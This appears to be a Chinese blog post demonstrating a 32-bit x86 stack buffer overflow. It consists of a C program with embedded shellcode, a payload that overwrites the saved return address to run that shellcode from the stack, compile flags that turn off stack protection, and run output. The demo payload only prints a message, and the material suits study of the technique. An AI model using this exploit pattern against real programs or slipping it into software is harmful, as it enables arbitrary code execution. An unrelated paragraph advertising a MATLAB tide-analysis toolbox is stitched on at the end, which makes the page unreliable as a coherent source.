x86 32bit模式 堆栈溢出攻击理解

#include <stdio.h>           
#include <string.h>       
                          

                          
char codex[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x68\x0a\x0a\x0a\x01\x68\x31\x32\x33\x34\x68\x72\x6c\x64\x21"
    "\x68\x6f\x20\x57\x6f\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31"
    "\xdb\xb3\x01\x89\xe1\x31\xd2\xb2\x13\xcd\x80\x31\xc0\xb0\x01"
    "\x31\xdb\xcd\x80";           
                             

    
    

/* D:\file_win2linux\stackyichu\payload32.bin (2025/6/22 11:20:20)
   StartOffset: 00000000, EndOffset: 00000017, Length: 00000018 */


unsigned char rawDataxxxx[24+104] = {
    0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x9B, 0x84, 0x04, 0x08
};


void malicious() {
    printf("\n\033[1;31m!!! 恶意代码被执行 !!!\033[0m\n");
    exit(0);
}

void vulnerable() 
{
    unsigned int *pxx;
    char buffer[8];
    printf("缓冲区地址: \033[1;32m%p\033[0m\n", buffer);
    //gets(buffer); // 危险操作
    memcpy( buffer, rawDataxxxx, 256 );   
    
    pxx    = &buffer[0] + 24;
    //buffer offset = 24的位置是ret的返回地址
    pxx[0] = &buffer[0] + 24 + 8;  //指向本身的下4个字节
    //由于有nop 4、8、12均可
    //pxx[0] = malicious;
    
    printf( "pxx addr = %#x\n", &pxx[0] );
    printf( "pxx[0] = %#x\n", pxx[0] );
    
    //0xffffd6b4   
}

int main() {
    printf("恶意函数地址: \033[1;34m%p\033[0m\n", malicious);
    
    memcpy( &rawDataxxxx[28], codex, sizeof(codex) );
    
    //( (void (*)()) codex )();  // 强制转型为函数指针执行
    vulnerable();
    printf("正常返回\n");
    return 0;
}

//gcc -m32 -fno-stack-protector -z execstack exploit.c -o exploit

//这个其实没啥用了,默认系统是禁止在stack上执行代码的 一执行必爆 
//SEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=0xffffd6b4} ---
//+++ killed by SIGSEGV (core dumped) +++

运行结果:

./exploit
恶意函数地址: 0x804849b
缓冲区地址: 0xffffd6a4
pxx addr = 0xffffd6bc
pxx[0] = 0xffffd6c4
Hello World!1234


 

潮汐研究作为海洋科学的关键分支,融合了物理海洋学、地理信息系统及水利工程等多领域知识。TMD2.05.zip是一套基于MATLAB环境开发的潮汐专用分析工具集,为科研人员与工程实践者提供系统化的潮汐建模与计算支持。该工具箱通过模块化设计实现了两大核心功能: 在交互界面设计方面,工具箱构建了图形化操作环境,有效降低了非专业用户的操作门槛。通过预设参数输入模块(涵盖地理坐标、时间序列、测站数据等),用户可自主配置模型运行条件。界面集成数据加载、参数调整、可视化呈现及流程控制等标准化组件,将复杂的数值运算过程转化为可交互的操作流程。 在潮汐预测模块中,工具箱整合了谐波分解法与潮流要素解析法等数学模型。这些算法能够解构潮汐观测数据,识别关键影响要素(包括K1、O1、M2等核心分潮),并生成不同时间尺度的潮汐预报。基于这些模型,研究者可精准推算特定海域的潮位变化周期与振幅特征,为海洋工程建设、港湾规划设计及海洋生态研究提供定量依据。 该工具集在实践中的应用方向包括: - **潮汐动力解析**:通过多站点观测数据比对,揭示区域主导潮汐成分的时空分布规律 - **数值模型构建**:基于历史观测序列建立潮汐动力学模型,实现潮汐现象的数字化重构与预测 - **工程影响量化**:在海岸开发项目中评估人工构筑物对自然潮汐节律的扰动效应 - **极端事件模拟**:建立风暴潮与天文潮耦合模型,提升海洋灾害预警的时空精度 工具箱以"TMD"为主程序包,内含完整的函数库与示例脚本。用户部署后可通过MATLAB平台调用相关模块,参照技术文档完成全流程操作。这套工具集将专业计算能力与人性化操作界面有机结合,形成了从数据输入到成果输出的完整研究链条,显著提升了潮汐研究的工程适用性与科研效率。 资源来源于网络分享,仅用于学习交流使用,请勿用于商业,如有侵权请联系我删除!
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